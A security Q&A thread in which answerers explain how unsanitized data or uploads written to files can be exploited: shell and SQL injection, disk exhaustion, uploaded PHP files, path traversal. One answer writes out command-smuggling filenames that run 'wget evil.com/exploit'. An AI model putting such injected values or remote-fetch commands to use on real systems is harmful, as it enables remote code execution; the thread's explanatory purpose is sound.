How to exploit data being written to file

Question

I am trying to show that taking data as an input and writing directly to a file without parsing, checking or sanitizing it is a security risk.

Can anyone show an example of how this can be exploited. I was thinking that there may be a way to start writing to a new file instead of the one it should. if this is possible I may be able to write to a file named ls or less etc.

Sorry I forgot to mention the OS. It is Solaris.

The files are just data files possibly to be read into a database later but I don't want to count on the database as the only exploit.

A program on this servers is listening on a port and I can connect and send it data and I know that it will write this data to a file called output.dat later.

Answer 1

It really depends on what you're doing with that data. If the data gets used later as inputs to shell commands then you can just sneak in commands that subshell and execute arbitrary commands (install backdoor, add user, change passwords...) If the data gets inserted into SQL without prepared statements, then you have a standard SQL injection. The simplest case would be blowing up your partition's space; if you can generate data freely and without limits, then there's nothing stopping the attacker from overfilling the drive/partition. Most programs don't check for such condition, so it would go into an unknown condition, DoS'ing at best, exploitable at worst.

Answer 2

Something very similar is a well known security mistake many websites make. If you take uploads from users (say, avatar images for a forum) and don't verify that they are actally valid image files, an attacker can upload a PHP file instead and execute it on your server by requesting it in a web browser from your images directory. It is often not adequate just to check the extension on the filename either, you must validate the contents of the file or run the risk of having a malicious file on your system.

The same is probably generically true of any situation where you accept a file upload and don't verify its contents. The file may be a Solaris executable just waiting for a careless chmod -R 777 /var/www or a perl script that adds a new user or a malformed PDF file destined to compromise the users of your website or a .htaccess file that redirects users to the attacker's site or even a symlink to /etc/passwd. (Actually, I'm not sure if it's possible to "upload" a symlink but it would certainly be possible to imagine a scenario where an untrusted user could create a symlink on your system.)

Verifying that a file's contents match what they are supposed to be makes it harder for an attacker to get his exploit code on your system. You are right in thinking that not validating is a security mistake.

Once the malicious file is on the system it still requires a second mistake/vulnerability to exploit the file but it puts the attacker one step closer to compromising your system.

Adding to this, you must also sanitise the filename if one is supplied. The .htaccess example earlier is one way an attacker could exploit a filename but filenames like "../index.php" or |/usr/bin/wget evil.com/exploit or ; wget evil.com/exploit or && wget evil.com/exploit could all do nasty things to your system depending on the file handling code.

If we are talking about Apache, it would be difficult to coerce it into overwriting a system binary like ls but if it's a server you have written yourself that doesn't drop privileges and is running as root then it would have the permission needed to overwrite system binaries and would just be waiting for the right file path.

Answer 3

It entirely depends on what platform you are on. For instance if this is a lamp system it can be as simple as writing a .php file to the web root or a more complex approach is an advanced LIF attack.

Under windows you can use some named-pipe trickery to get remote code execution.

Answer 4

As long as the attacker cannot change the file name or file metadata and there is a limit to the amount written, I cannot see an issue.

Otherwise, it would be dangerous to store any random data in a file. Provided the above is true, a file is just a container.

That is not to say that there is not a bug in the reading application that could be exploited. For instance, if there was an exploit in notepad or something and the user was able to write a sequence that utilized the exploit to what should be a text file.